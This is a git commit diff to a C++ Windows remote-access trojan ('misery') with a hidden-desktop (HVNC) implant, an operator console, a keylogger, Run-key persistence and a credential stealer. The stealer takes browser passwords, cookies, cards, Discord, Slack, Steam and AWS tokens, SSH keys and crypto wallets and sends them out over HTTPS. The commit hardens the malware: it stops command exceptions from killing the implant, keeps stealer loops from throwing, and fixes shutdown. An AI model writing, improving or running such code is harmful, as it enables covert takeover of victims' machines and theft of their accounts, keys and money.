worker shutdown, uncaught stealer exceptions, view window on demand

- stealer: list_dir() plus error_code file_size so a missing or unreadable path cannot throw out of collect_loot; read the OS build with RtlGetVersion because GetVersionEx is manifest-gated and reported 6.2; json_val delegates to json_get_string; drop the dead experimental-dir note
- stealer/crypto: merge the two identical pbkdf2-hmac bodies into one helper; exfil sends the JSON directly instead of copying it
- agent: wrap command dispatch in try/catch, matching the console, so a throwing command cannot kill the implant
- console: open the HVNC view window only on the hvnc command, never at startup; keep the worker and view thread handles, join them, and close the agent socket before WSACleanup
- hvnc/rat: join the worker until it exits before closing the handle; roll back start() when CreateThread fails
- payload: free ThreadParams when CreateThread fails
- cdp_client: balance WSAStartup in the destructor since close() is a mid-session reset reconnect reuses; cap WebSocket frame length; read the page type instead of matching an exact string; check AssignProcessToJobObject
- http_server: deadline plus socket timeout on request reads, case-insensitive header match, validated Content-Length
- gitignore: audit_build/
This commit is contained in:
JYenn
2026-09-15 00:09:57 +01:00
parent a2b9c69654
commit 606850d3a5
14 changed files with 252 additions and 83 deletions
+1
View File
@@ -1,5 +1,6 @@
# Build artifacts
build/
audit_build/
*.exe
*.o
*.obj
+17 -2
View File
@@ -41,6 +41,9 @@
using namespace hvnc;
// Defined below; forward-declared so command dispatch can log an exception.
static void dump_crash(const char* kind, unsigned code, const void* at);
static std::string g_host = OBF(HVNC_C2_HOST);
static int g_port = HVNC_C2_PORT;
static bool g_elevated = false; // relaunched by elevate; surfaced in REGISTER
@@ -514,7 +517,13 @@ static void run_tcp_session(const SendFn& send, AgentSession& s, SOCKET sock) {
Message cmd;
cmd.type = (MsgType)t;
cmd.body.assign(body.begin() + 4, body.end());
handle_command(s, cmd, send);
// A command must never take the implant down: contain any thrown
// exception (resources from the stealer etc.), log, keep serving.
try {
handle_command(s, cmd, send);
} catch (...) {
dump_crash("command exception", 0, nullptr);
}
}
// Pending real-time output (frames, keylog), after dispatch so
@@ -595,7 +604,13 @@ static void run_beacon_session(const beacon::BeaconConfig& cfg, AgentSession& s)
Message cmd;
cmd.type = (MsgType)t;
cmd.body.assign(body.begin() + 4, body.end());
handle_command(s, cmd, send);
// A command must never take the implant down: contain any thrown
// exception (resources from the stealer etc.), log, keep serving.
try {
handle_command(s, cmd, send);
} catch (...) {
dump_crash("command exception", 0, nullptr);
}
}
syscall::sleep_ms(beacon::jittered(cfg.sleep_ms));
+1 -1
View File
@@ -1,6 +1,6 @@
// Run-key persistence (T1547.001): copy self to %APPDATA%, register HKCU Run.
// Low-privilege, survives logon; deliberately minimal and documented because
// the Run key is the single most-detected persistence point -- operators get
// the Run key is the single most-detected persistence point; operators get
// an honest, removable mechanism rather than a silent surprise.
#include "persist.hpp"
+1 -1
View File
@@ -71,7 +71,7 @@ std::string run(const std::string& command) {
char buf[4096];
DWORD deadline = GetTickCount() + kRunTimeoutMs;
bool truncated = false;
// Poll loop: on child exit do not break immediately -- buffered output may
// Poll loop: on child exit do not break immediately; buffered output may
// still sit in the pipe, so drain until the pipe breaks or reads 0. A fast
// command can exit between two polls; without this the output is lost.
while (out.size() < kOutputCap) {
+30 -5
View File
@@ -80,7 +80,17 @@ static bool ws_init() {
return WSAStartup(MAKEWORD(2, 2), &wd) == 0;
}
Client::~Client() { close(); }
Client::~Client() {
close();
// Balance every successful WSAStartup from launch(). Done in the destructor,
// not close(): close() is also a mid-session reset (send failure / WS close
// frame) that reconnect() reuses Winsock after, so it must not tear Winsock
// down.
while (ws_refs_ > 0) {
WSACleanup();
ws_refs_--;
}
}
void Client::close() {
if (sock_ != INVALID_SOCKET) {
@@ -136,6 +146,7 @@ static bool read_whole_file(const std::wstring& path, std::string& out) {
bool Client::launch(const std::wstring& desktop, const std::wstring& app,
const std::wstring& args, const std::wstring& user_data_dir) {
if (!ws_init()) return false;
ws_refs_++;
launch_desktop_ = desktop;
launch_app_ = app;
launch_args_ = args;
@@ -182,7 +193,11 @@ bool Client::launch(const std::wstring& desktop, const std::wstring& app,
JOBOBJECT_EXTENDED_LIMIT_INFORMATION ji = {};
ji.BasicLimitInformation.LimitFlags = JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE;
SetInformationJobObject(h_job_, JobObjectExtendedLimitInformation, &ji, sizeof(ji));
AssignProcessToJobObject(h_job_, pi.hProcess);
// Assignment can fail (incompatible existing job association, etc.);
// close() then falls back to TerminateProcess on the root only, and
// descendant helpers may outlive it and hold the profile lock.
if (!AssignProcessToJobObject(h_job_, pi.hProcess))
printf("[cdp] job assignment failed; close() falls back to root TerminateProcess\n");
}
h_proc_ = pi.hProcess;
@@ -281,6 +296,10 @@ bool Client::ws_handshake(const std::string& host_port, const std::string& path)
// ---------------------------------------------------------------------------
// WebSocket framing (RFC 6455)
// ---------------------------------------------------------------------------
// Cap a peer-advertised frame/message length (RFC 6455 leaves limits to the
// implementation); CDP screenshots stay far below this.
constexpr uint64_t kMaxWsBytes = 64ull * 1024 * 1024;
bool Client::send_text(const std::string& payload) {
if (sock_ == INVALID_SOCKET) return false;
std::vector<uint8_t> frame;
@@ -334,6 +353,8 @@ bool Client::read_frame(std::string& payload) {
uint8_t mask[4] = {0};
if (masked && !recvn((char*)mask, 4)) return false;
if (len > kMaxWsBytes) return false; // oversized frame: kill the session
std::string buf((size_t)len, '\0');
if (len && !recvn(&buf[0], (size_t)len)) return false;
if (masked) {
@@ -357,6 +378,7 @@ bool Client::read_frame(std::string& payload) {
}
if (opcode == 0xA) continue; // server pong
if (opcode == 0x1 || (opcode == 0x0 && started)) {
if (assembled.size() + buf.size() > kMaxWsBytes) return false;
assembled += buf;
started = true;
if (fin) {
@@ -598,7 +620,7 @@ bool Client::input_win32(uint32_t wm, uintptr_t wp, uintptr_t lp) {
// Control keys (Enter, Backspace, arrows) carry no text: their default
// action fires on the keyDown alone. Printable keys are inserted by the
// matching WM_CHAR event that follows, so keyDown deliberately has no
// text -- putting text here AND in the char event double-inserts.
// text; putting text here AND in the char event double-inserts.
std::string key, code;
vk_key_code(vk, key, code);
std::ostringstream p;
@@ -777,7 +799,7 @@ bool Client::navigate(const std::string& url) {
// The first target in /json/list with type "page" is often an extension
// background page (no view surface; captureScreenshot on it never resolves).
// Pick a page target that has a real URL -- i.e. not chrome-extension://.
// Pick a page target that has a real URL, not a chrome-extension:// one.
static std::string find_page_ws_url(const std::string& list) {
static const char kKey[] = "\"webSocketDebuggerUrl\"";
size_t pos = 0;
@@ -786,7 +808,10 @@ static std::string find_page_ws_url(const std::string& list) {
std::string obj = (obj_start == std::string::npos)
? list.substr(0, pos)
: list.substr(obj_start, pos - obj_start);
if (obj.find("\"type\": \"page\"") != std::string::npos &&
// Match the parsed value, not the formatting: the browser serializes
// "type": "page" and "type":"page" interchangeably, so an exact-string
// predicate would miss targets depending on the serializer's spacing.
if (json_get_string(obj, "type") == "page" &&
obj.find("chrome-extension://") == std::string::npos) {
return json_get_string(list.substr(pos), "webSocketDebuggerUrl");
}
+4 -1
View File
@@ -44,7 +44,7 @@ public:
// Synchronous CDP command; returns the full reply JSON. False on transport
// failure; on timeout the socket stays open so the caller can retry (a
// cold software-rendered page can outlive the 12s default -- dropping the
// cold software-rendered page can outlive the 12s default; dropping the
// socket over it loses the session).
bool command(const std::string& method, const std::string& params,
std::string& out_message, unsigned long timeout_ms = 12000);
@@ -92,6 +92,9 @@ private:
// Input translation state so WM_* series maps onto CDP key/mouse events.
int modifiers_ = 0;
int buttons_ = 0;
// WSAStartup references held by this client (one per launch); each is
// balanced with a WSACleanup in close().
int ws_refs_ = 0;
};
// Minimal JSON field extraction for the replies we control.
+46 -13
View File
@@ -418,8 +418,9 @@ static SOCKET g_sock = INVALID_SOCKET;
static bool g_keylog_on = false;
static bool g_clipswap_on = false;
// Legacy separate HVNC view window (--view).
static bool g_want_view = false;
// The hidden-desktop view window opens only on the `hvnc` command, never at
// startup; g_view_thread makes open_view() idempotent and joinable at exit.
static HANDLE g_view_thread = nullptr;
// The session key lands asynchronously (socket handshake thread, or the beacon
// relay on any poll) while the REPL and view threads send from their own
@@ -1637,7 +1638,7 @@ static DWORD WINAPI view_thread(LPVOID) {
WS_THICKFRAME | WS_MINIMIZEBOX,
CW_USEDEFAULT, CW_USEDEFAULT, 900, 600,
nullptr, nullptr, GetModuleHandleW(nullptr), nullptr);
if (!g_view) return 1;
if (!g_view) { g_view_thread = nullptr; return 1; }
ShowWindow(g_view, SW_SHOW);
MSG msg;
while (GetMessageW(&msg, nullptr, 0, 0) > 0) {
@@ -1649,9 +1650,17 @@ static DWORD WINAPI view_thread(LPVOID) {
}
}
g_view = nullptr;
g_view_thread = nullptr;
return 0;
}
// Spawn the hidden-desktop view window on demand. No-op if it is already open
// or still being created, so the REPL command is idempotent.
static void open_view() {
if (g_view || g_view_thread) return;
g_view_thread = CreateThread(nullptr, 0, view_thread, nullptr, 0, nullptr);
}
// ---------------------------------------------------------------------------
// REPL command dispatch
// ---------------------------------------------------------------------------
@@ -1690,7 +1699,7 @@ static const wchar_t* HELP =
L" bot list bots; 'bot <id>' targets one, 'bot all' broadcasts\n"
L" steal run credentials/cookies/cards steal\n"
L" loot | dump show the last steal result as a boxed terminal dump\n"
L" hvnc start start hidden desktop session\n"
L" hvnc start start hidden desktop session (opens view window)\n"
L" hvnc stop stop hidden desktop\n"
L" hvnc launch [path] launch an app (default chrome) on the hidden desktop\n"
L" hvnc quality [10-100] set streamed frame JPEG quality (default 90)\n"
@@ -1799,6 +1808,9 @@ static bool handle_cmd(const std::wstring& line) {
if (t.size() < 2) {
log_err(L"usage: hvnc start | stop | launch [path] | quality [10-100]");
} else if (to_lower(t[1]) == L"start") {
// The view window is only meaningful once a session runs; open it
// here (and never at console startup) so nothing pops up on load.
open_view();
send_msg(MsgType::HVNC_START, {});
log_ok(L"hvnc start sent");
} else if (to_lower(t[1]) == L"stop") {
@@ -1817,6 +1829,7 @@ static bool handle_cmd(const std::wstring& line) {
log_err(L"usage: hvnc quality [10-100]");
}
} else if (to_lower(t[1]) == L"launch") {
open_view(); // the launched app renders on the hidden desktop feed
std::wstring path = t.size() >= 3
? t[2]
: L"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe";
@@ -1896,17 +1909,15 @@ static bool handle_cmd(const std::wstring& line) {
// ---------------------------------------------------------------------------
static void print_usage() {
printf("misery - hvnc operator console\n"
"usage: console [--view] [--help]\n"
"usage: console [--help]\n"
"\n"
" --view open the HVNC view window\n"
" --help show this help\n");
}
int main(int argc, char** argv) {
for (int i = 1; i < argc; i++) {
std::string a = argv[i];
if (a == "--view") { g_want_view = true; }
else if (a == "--help" || a == "-h") {
if (a == "--help" || a == "-h") {
print_usage();
return 0;
} else {
@@ -1956,11 +1967,15 @@ int main(int argc, char** argv) {
g_key.assign(key::kKeyLen, 0);
g_key_ready = false;
// Listener + view only make sense once configured.
// The listener starts here. The hidden-desktop view window is not opened at
// startup; the `hvnc` command opens it once a session runs. The worker
// handle is kept so shutdown can join it before WSACleanup: closing a
// handle does not terminate the thread, and Winsock calls from a live
// worker after WSACleanup are undefined.
SOCKET server = INVALID_SOCKET;
HANDLE worker = nullptr;
#if HVNC_TRANSPORT == 1
if (g_want_view) CreateThread(nullptr, 0, view_thread, nullptr, 0, nullptr);
CreateThread(nullptr, 0, http_relay_thread, nullptr, 0, nullptr);
worker = CreateThread(nullptr, 0, http_relay_thread, nullptr, 0, nullptr);
#else
server = socket(AF_INET, SOCK_STREAM, 0);
sockaddr_in addr{};
@@ -1972,8 +1987,7 @@ int main(int argc, char** argv) {
log_err(L"bind/listen failed");
return 1;
}
if (g_want_view) CreateThread(nullptr, 0, view_thread, nullptr, 0, nullptr);
CreateThread(nullptr, 0, accept_thread, (LPVOID)(uintptr_t)server, 0, nullptr);
worker = CreateThread(nullptr, 0, accept_thread, (LPVOID)(uintptr_t)server, 0, nullptr);
#endif
print_banner();
@@ -1998,10 +2012,29 @@ int main(int argc, char** argv) {
#if HVNC_TRANSPORT == 1
httpsrv::stop();
#else
// Close the listener first so accept_thread cannot take a new connection,
// then the active agent socket so socket_thread's blocked recv returns;
// without the latter accept_thread never finishes its INFINITE join.
closesocket(server);
if (g_sock != INVALID_SOCKET) {
closesocket(g_sock);
g_sock = INVALID_SOCKET;
}
#endif
history_save();
if (g_view) PostMessageW(g_view, WM_CLOSE, 0, 0);
// Join the worker and the view window before WSACleanup: Winsock calls
// after WSACleanup are undefined, and the accept/socket/relay threads sit
// in recv until the shutdown signals above land.
if (worker) {
WaitForSingleObject(worker, 6000);
CloseHandle(worker);
}
if (g_view_thread) {
WaitForSingleObject(g_view_thread, 6000);
CloseHandle(g_view_thread);
g_view_thread = nullptr;
}
WSACleanup();
return 0;
}
+26 -3
View File
@@ -116,6 +116,15 @@ bool HvncSession::start() {
input_head_ = 0;
input_tail_ = 0;
input_thread_ = CreateThread(nullptr, 0, &HvncSession::input_proc, this, 0, nullptr);
if (!input_thread_) {
// No input worker: the session would capture a desktop nobody can
// drive. Roll back the desktop + job so a later start() retries clean
// instead of reporting a running session with no input delivery.
if (hjob_) { CloseHandle(hjob_); hjob_ = nullptr; }
if (hdesk_) { CloseDesktop(hdesk_); hdesk_ = nullptr; }
LeaveCriticalSection(&lock_);
return false;
}
running_ = true;
LeaveCriticalSection(&lock_);
@@ -132,7 +141,19 @@ void HvncSession::stop() {
InterlockedExchange(&input_quit_, 1);
if (input_event_) SetEvent(input_event_);
if (input_thread_) {
WaitForSingleObject(input_thread_, 5000);
// The input thread re-checks the quit flag at least every 40ms and only
// blocks in bounded calls, so it exits promptly once signaled. Only
// close the handle after it really has: closing a live handle does not
// terminate the worker, and the teardown below frees state (desktop,
// canvas, members) it would still read.
DWORD wr = WaitForSingleObject(input_thread_, 5000);
if (wr == WAIT_TIMEOUT) {
// Genuinely wedged (not expected): terminate explicitly so teardown
// is safe. The worker never takes the session lock, so terminating
// it cannot abandon a critical section.
TerminateThread(input_thread_, 0);
WaitForSingleObject(input_thread_, 1000);
}
CloseHandle(input_thread_);
input_thread_ = nullptr;
}
@@ -185,7 +206,8 @@ bool HvncSession::launch(const std::wstring& app, const std::wstring& args, cons
if (h) {
// Descendants spawned after the root joins the job are in it
// automatically, so the whole tree dies with the session.
if (hjob_) AssignProcessToJobObject(hjob_, h);
if (hjob_ && !AssignProcessToJobObject(hjob_, h))
printf("[hvnc] job assignment failed; process reaped by procs_ fallback\n");
procs_.push_back(h);
}
ok = true;
@@ -202,7 +224,8 @@ bool HvncSession::launch_browser(const std::wstring& app, const std::wstring& ar
HANDLE h = nullptr;
if (launch_browser_on_desktop(desktop_name_, app, args, dir, &h)) {
if (h) {
if (hjob_) AssignProcessToJobObject(hjob_, h);
if (hjob_ && !AssignProcessToJobObject(hjob_, h))
printf("[hvnc] job assignment failed; process reaped by procs_ fallback\n");
procs_.push_back(h);
}
ok = true;
+1
View File
@@ -159,6 +159,7 @@ BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) {
auto params = new ThreadParams{hModule, lpReserved};
HANDLE hThread = CreateThread(NULL, 0, PayloadThread, params, 0, NULL);
if (hThread) CloseHandle(hThread);
else delete params; // thread never took ownership on failure
}
return TRUE;
}
+19 -2
View File
@@ -24,16 +24,33 @@ Keylogger::~Keylogger() { stop(); DeleteCriticalSection(&lock_); }
bool Keylogger::start() {
if (running_.load()) return true;
// running_ is set before the worker starts (the worker gates on it) but
// rolled back on failure, so a failed start never leaves the object in a
// running state that a later start() would trust.
running_.store(true);
thread_ = CreateThread(nullptr, 0, thread_proc, this, 0, nullptr);
return thread_ != nullptr;
if (!thread_) {
running_.store(false);
return false;
}
return true;
}
void Keylogger::stop() {
if (!running_.load()) return;
running_.store(false);
if (thread_) {
WaitForSingleObject(thread_, 1000);
// The worker re-checks running_ every ~10ms, so it exits within one
// loop pass. Only close the handle after it really has: closing a live
// handle does not terminate the worker, and the destructor frees the
// members (buffer_, lock_) it would still touch.
DWORD wr = WaitForSingleObject(thread_, 2000);
if (wr == WAIT_TIMEOUT) {
// Unreachable in practice (the loop exits in well under a second).
// Terminate explicitly; the worker holds lock_ only inside push().
TerminateThread(thread_, 0);
WaitForSingleObject(thread_, 1000);
}
CloseHandle(thread_);
thread_ = nullptr;
}
+9 -13
View File
@@ -73,9 +73,11 @@ std::vector<uint8_t> md5(const std::vector<uint8_t>& data) {
return bcrypt_hash(BCRYPT_MD5_ALGORITHM, data.data(), data.size());
}
std::vector<uint8_t> pbkdf2_hmac_sha512(const std::vector<uint8_t>& password, const std::vector<uint8_t>& salt, uint32_t iterations, size_t dk_len) {
static std::vector<uint8_t> pbkdf2_hmac(LPCWSTR algorithm, const std::vector<uint8_t>& password,
const std::vector<uint8_t>& salt, uint32_t iterations,
size_t dk_len) {
BCRYPT_ALG_HANDLE hAlg = NULL;
if (BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_SHA512_ALGORITHM, NULL, BCRYPT_ALG_HANDLE_HMAC_FLAG) != 0) return {};
if (BCryptOpenAlgorithmProvider(&hAlg, algorithm, NULL, BCRYPT_ALG_HANDLE_HMAC_FLAG) != 0) return {};
std::vector<uint8_t> out(dk_len);
NTSTATUS status = BCryptDeriveKeyPBKDF2(hAlg, (PUCHAR)password.data(), (ULONG)password.size(),
@@ -87,18 +89,12 @@ std::vector<uint8_t> pbkdf2_hmac_sha512(const std::vector<uint8_t>& password, co
return out;
}
std::vector<uint8_t> pbkdf2_hmac_sha512(const std::vector<uint8_t>& password, const std::vector<uint8_t>& salt, uint32_t iterations, size_t dk_len) {
return pbkdf2_hmac(BCRYPT_SHA512_ALGORITHM, password, salt, iterations, dk_len);
}
std::vector<uint8_t> pbkdf2_hmac_sha1(const std::vector<uint8_t>& password, const std::vector<uint8_t>& salt, uint32_t iterations, size_t dk_len) {
BCRYPT_ALG_HANDLE hAlg = NULL;
if (BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_SHA1_ALGORITHM, NULL, BCRYPT_ALG_HANDLE_HMAC_FLAG) != 0) return {};
std::vector<uint8_t> out(dk_len);
NTSTATUS status = BCryptDeriveKeyPBKDF2(hAlg, (PUCHAR)password.data(), (ULONG)password.size(),
(PUCHAR)salt.data(), (ULONG)salt.size(),
iterations, out.data(), (ULONG)out.size(), 0);
BCryptCloseAlgorithmProvider(hAlg, 0);
if (status != 0) return {};
return out;
return pbkdf2_hmac(BCRYPT_SHA1_ALGORITHM, password, salt, iterations, dk_len);
}
// AES-256-CBC with PKCS7 padding stripped (mRemoteNG < 1.75).
+2 -3
View File
@@ -55,11 +55,10 @@ bool exfil_https(const std::string& json_data, const std::string& endpoint_url)
const wchar_t* headers = L"Content-Type: application/json\r\n";
WinHttpAddRequestHeaders(hRequest, headers, (DWORD)-1, WINHTTP_ADDREQ_FLAG_ADD);
std::string send_data = json_data;
BOOL result = WinHttpSendRequest(hRequest,
WINHTTP_NO_ADDITIONAL_HEADERS, 0,
(LPVOID)send_data.c_str(), (DWORD)send_data.size(),
(DWORD)send_data.size(), 0);
(LPVOID)json_data.data(), (DWORD)json_data.size(),
(DWORD)json_data.size(), 0);
if (result) {
result = WinHttpReceiveResponse(hRequest, NULL);
+44 -25
View File
@@ -20,6 +20,25 @@
namespace fs = std::filesystem;
// GetVersionEx is manifest-gated on Windows 8.1+ and reports the Windows 8
// version (6.2) for any image without a supportedOS manifest entry, so the
// reported OS was always wrong. RtlGetVersion (ntdll) is not gated.
// OSVERSIONINFOEXW is used (not RTL_OSVERSIONINFOEXW) so the declaration
// resolves under both MSVC and MinGW; the layouts are identical.
extern "C" NTSTATUS NTAPI RtlGetVersion(OSVERSIONINFOEXW*);
// Non-throwing single-level directory listing. The range-for over
// fs::directory_iterator throws filesystem_error when the path is missing or
// unreadable, and an exception here escapes to the agent top level and kills
// it (uncaught 0xE06D7363). Returns an empty list on any OS error instead.
static std::vector<fs::directory_entry> list_dir(const std::wstring& dir) {
std::vector<fs::directory_entry> out;
std::error_code ec;
for (fs::directory_iterator it(dir, ec), end; !ec && it != end; it.increment(ec))
out.push_back(*it);
return out;
}
void gather_browser_paths(std::vector<BrowserPath>& paths) {
PWSTR local_path = nullptr, roaming_path = nullptr;
std::wstring local, roaming;
@@ -58,7 +77,7 @@ void gather_browser_paths(std::vector<BrowserPath>& paths) {
if (!fs::exists(profile_base)) {
// Find an available profile.
bool found = false;
for (auto& entry : fs::directory_iterator(ch.path)) {
for (auto& entry : list_dir(ch.path)) {
if (entry.is_directory()) {
auto pname = entry.path().filename().wstring();
if (pname == L"Default" || pname.find(L"Profile") == 0) {
@@ -83,7 +102,7 @@ void gather_browser_paths(std::vector<BrowserPath>& paths) {
paths.push_back(bp);
// Additional profiles
for (auto& entry : fs::directory_iterator(ch.path)) {
for (auto& entry : list_dir(ch.path)) {
if (entry.is_directory()) {
auto pname = entry.path().filename().wstring();
if (pname != L"Default" && pname.find(L"Profile") == 0) {
@@ -109,7 +128,7 @@ void gather_browser_paths(std::vector<BrowserPath>& paths) {
for (auto& ff : firefoxes) {
if (!fs::exists(ff.path)) continue;
for (auto& entry : fs::directory_iterator(ff.path)) {
for (auto& entry : list_dir(ff.path)) {
if (!entry.is_directory()) continue;
auto pname = entry.path().filename().wstring();
if (pname.find(L".") == std::string::npos) continue;
@@ -537,7 +556,7 @@ std::vector<DiscordToken> steal_discord() {
std::wstring ldb_path = base + L"\\Local Storage\\leveldb";
if (!fs::exists(ldb_path)) continue;
for (auto& entry : fs::directory_iterator(ldb_path)) {
for (auto& entry : list_dir(ldb_path)) {
if (entry.path().extension() != L".ldb" && entry.path().extension() != L".log") continue;
std::ifstream f(entry.path(), std::ios::binary);
if (!f) continue;
@@ -785,7 +804,7 @@ SteamInfo steal_steam() {
// Look for SSFN files with a decimal account ID suffix.
fs::path steam_dir = fs::path(p).parent_path();
for (auto& entry : fs::directory_iterator(steam_dir)) {
for (auto& entry : list_dir(steam_dir)) {
auto fn = entry.path().filename().string();
if (fn.size() >= 6 && fn.substr(0, 4) == "ssfn" &&
std::all_of(fn.begin() + 4, fn.end(), [](unsigned char c) { return std::isdigit(c); })) {
@@ -836,7 +855,7 @@ std::string steal_ssh_keys() {
fs::path ssh_dir = fs::path(home) / ".ssh";
if (!fs::exists(ssh_dir)) return result;
for (auto& entry : fs::directory_iterator(ssh_dir)) {
for (auto& entry : list_dir(ssh_dir)) {
if (entry.is_regular_file() && entry.path().filename().string().find("id_") == 0) {
std::ifstream f(entry.path());
if (!f) continue;
@@ -861,7 +880,7 @@ std::string steal_aws_creds() {
if (!fs::exists(aws_dir)) return "";
std::string result;
for (auto& entry : fs::directory_iterator(aws_dir)) {
for (auto& entry : list_dir(aws_dir)) {
if (!entry.is_regular_file()) continue;
std::ifstream f(entry.path());
result += entry.path().filename().string() + ":\n";
@@ -877,7 +896,7 @@ std::string steal_slack_tokens() {
std::wstring slack_ldb = std::wstring(roaming) + L"\\Slack\\Local Storage\\leveldb";
if (!fs::exists(slack_ldb)) return result;
for (auto& entry : fs::directory_iterator(slack_ldb)) {
for (auto& entry : list_dir(slack_ldb)) {
if (entry.path().extension() != L".ldb" && entry.path().extension() != L".log") continue;
std::ifstream f(entry.path(), std::ios::binary);
if (!f) continue;
@@ -898,9 +917,11 @@ std::string steal_signal_data() {
if (!fs::exists(signal_dir)) return "";
std::string result;
for (auto& entry : fs::directory_iterator(signal_dir)) {
for (auto& entry : list_dir(signal_dir)) {
std::error_code fec;
auto sz = entry.is_directory() ? 0 : fs::file_size(entry.path(), fec);
result += wide_to_utf8(entry.path().filename().wstring()) + " (" +
std::to_string(entry.is_directory() ? 0 : fs::file_size(entry.path())) + " bytes)\n";
std::to_string(fec ? 0 : sz) + " bytes)\n";
}
return result;
}
@@ -943,7 +964,7 @@ std::vector<WalletData> steal_wallets(const BrowserPath& bp) {
fs::path user_data = bp.user_data;
for (auto& w : wallets) {
// Check every profile for extension data.
for (auto& entry : fs::directory_iterator(user_data)) {
for (auto& entry : list_dir(user_data)) {
if (!entry.is_directory()) continue;
fs::path ext_path = entry.path() / "Local Extension Settings" / w.ext_id;
if (!fs::exists(ext_path)) {
@@ -967,12 +988,13 @@ SystemInfo gather_system_info() {
si.username = get_user_name();
si.ip = get_ip();
// Operating-system version
// Operating-system version (manifest-free; see RtlGetVersion decl above).
OSVERSIONINFOEXW osvi{};
osvi.dwOSVersionInfoSize = sizeof(osvi);
GetVersionExW((LPOSVERSIONINFOW)&osvi);
if (RtlGetVersion(&osvi) != 0) osvi.dwMajorVersion = osvi.dwMinorVersion = osvi.dwBuildNumber = 0;
char osbuf[64];
snprintf(osbuf, sizeof(osbuf), "%lu.%lu.%lu", osvi.dwMajorVersion, osvi.dwMinorVersion, osvi.dwBuildNumber);
snprintf(osbuf, sizeof(osbuf), "%lu.%lu.%lu", (unsigned long)osvi.dwMajorVersion,
(unsigned long)osvi.dwMinorVersion, (unsigned long)osvi.dwBuildNumber);
si.os_version = osbuf;
// Architecture
@@ -1038,14 +1060,16 @@ std::string steal_file_finder() {
fs::path dir(dir_str);
if (!fs::exists(dir)) continue;
int found = 0;
for (auto& entry : fs::directory_iterator(dir)) {
for (auto& entry : list_dir(dir)) {
if (found >= max_files) break;
if (entry.is_directory()) continue;
std::string fname = entry.path().filename().string();
for (auto& c : fname) c = (char)tolower((unsigned char)c);
for (int k = 0; k < kw_count; k++) {
if (fname.find(keywords[k]) != std::string::npos) {
result += entry.path().string() + " (" + std::to_string(fs::file_size(entry.path())) + " bytes)\n";
std::error_code fec;
auto sz = fs::file_size(entry.path(), fec);
result += entry.path().string() + " (" + std::to_string(fec ? 0 : sz) + " bytes)\n";
found++;
break;
}
@@ -2238,13 +2262,9 @@ std::string seed_finder_harvest() {
// Pull a "key":"value" string out of a JSON blob; empty when absent.
static std::string json_val(const std::string& data, const char* key) {
std::string pat = "\"" + std::string(key) + "\":\"";
size_t p = data.find(pat);
if (p == std::string::npos) return "";
p += pat.size();
size_t e = data.find('"', p);
if (e == std::string::npos) return "";
return data.substr(p, e - p);
std::string v;
json_get_string(data, key, v);
return v;
}
// Steam Guard mobile-authenticator files (.maFile). Plaintext JSON by default
@@ -2550,8 +2570,7 @@ StealKey acquire_browser_key(const std::optional<BrowserConfig>& cfg,
// Chrome 127+ app-bound key. The payload runs inside the browser, so the
// COM IElevator decrypt passes its process-path check; the offline agent
// falls through to the DPAPI v10 key. The proven flow. The fork+APC
// experiment sits out of the build in src/stealer/experimental.
// falls through to the DPAPI v10 key. The proven flow.
const std::string key_name = "\"app_bound_encrypted_key\"";
size_t pos = ls.find(key_name);
if (pos != std::string::npos) {
+51 -14
View File
@@ -6,6 +6,7 @@
#include <winsock2.h>
#include <windows.h>
#include <algorithm>
#include <cctype>
#include <cstdlib>
#include <cstring>
#include <string>
@@ -20,10 +21,19 @@ namespace {
volatile LONG g_stop = 0;
bool recv_all(SOCKET s, std::vector<uint8_t>& buf, size_t total) {
// One recv bounded by both the socket timeout and an absolute per-request
// deadline, so a client trickling bytes cannot hold the relay loop forever.
bool recv_byte(SOCKET s, char& b, uint32_t deadline_ms) {
if (GetTickCount() > deadline_ms) return false;
int n = recv(s, &b, 1, 0);
return n == 1;
}
bool recv_all(SOCKET s, std::vector<uint8_t>& buf, size_t total, uint32_t deadline_ms) {
buf.clear();
buf.reserve(total);
while (buf.size() < total) {
if (GetTickCount() > deadline_ms) return false;
char tmp[8192];
int want = (int)std::min<size_t>(sizeof(tmp), total - buf.size());
int n = recv(s, tmp, want, 0);
@@ -38,12 +48,15 @@ bool recv_all(SOCKET s, std::vector<uint8_t>& buf, size_t total) {
// request bodies, so cloudflared can deliver them chunked; a naive
// Content-Length-only parse would mis-frame those as empty and 400 them.
bool read_request(SOCKET s, std::vector<uint8_t>& body) {
// Absolute deadline bounds the whole request. Normal requests finish in
// well under a second; without it a client that stalls forever (or just
// trickles within each per-recv timeout) occupies the serving loop.
uint32_t deadline = GetTickCount() + 5000;
std::vector<uint8_t> head;
head.reserve(4096);
while (head.size() < 16 * 1024) {
char b = 0;
int n = recv(s, &b, 1, 0);
if (n <= 0) return false;
if (!recv_byte(s, b, deadline)) return false;
head.push_back((uint8_t)b);
const char* marker = "\r\n\r\n";
if (head.size() >= 4 && memcmp(head.data() + head.size() - 4, marker, 4) == 0)
@@ -54,9 +67,14 @@ bool read_request(SOCKET s, std::vector<uint8_t>& body) {
size_t cl = h.find("\r\n\r\n");
if (cl == std::string::npos) return false;
size_t te = h.find("Transfer-Encoding");
// HTTP field names are case-insensitive (RFC 9110), so fold the header
// block for lookup; positions still index the original h for value reads.
std::string low = h;
for (auto& c : low) c = (char)tolower((unsigned char)c);
size_t te = low.find("transfer-encoding");
if (te != std::string::npos && te < cl) {
size_t ce = h.find("chunked", te);
size_t ce = low.find("chunked", te);
if (ce != std::string::npos && ce < cl) {
body.clear();
for (;;) {
@@ -64,7 +82,7 @@ bool read_request(SOCKET s, std::vector<uint8_t>& body) {
std::string line;
char b = 0;
while (line.size() < 64) {
if (recv(s, &b, 1, 0) != 1) return false;
if (!recv_byte(s, b, deadline)) return false;
line += b;
if (line.size() >= 2 && line.compare(line.size() - 2, 2, "\r\n") == 0)
break;
@@ -81,7 +99,7 @@ bool read_request(SOCKET s, std::vector<uint8_t>& body) {
for (int i = 0; i < 64; i++) {
std::string line;
while (line.size() < 128) {
if (recv(s, &b, 1, 0) != 1) return false;
if (!recv_byte(s, b, deadline)) return false;
line += b;
if (line.size() >= 2 && line.compare(line.size() - 2, 2, "\r\n") == 0)
break;
@@ -93,26 +111,39 @@ bool read_request(SOCKET s, std::vector<uint8_t>& body) {
if (chunk_size > 64 * 1024 * 1024 ||
body.size() > 64 * 1024 * 1024 - chunk_size) return false;
std::vector<uint8_t> tmp;
if (!recv_all(s, tmp, chunk_size)) return false;
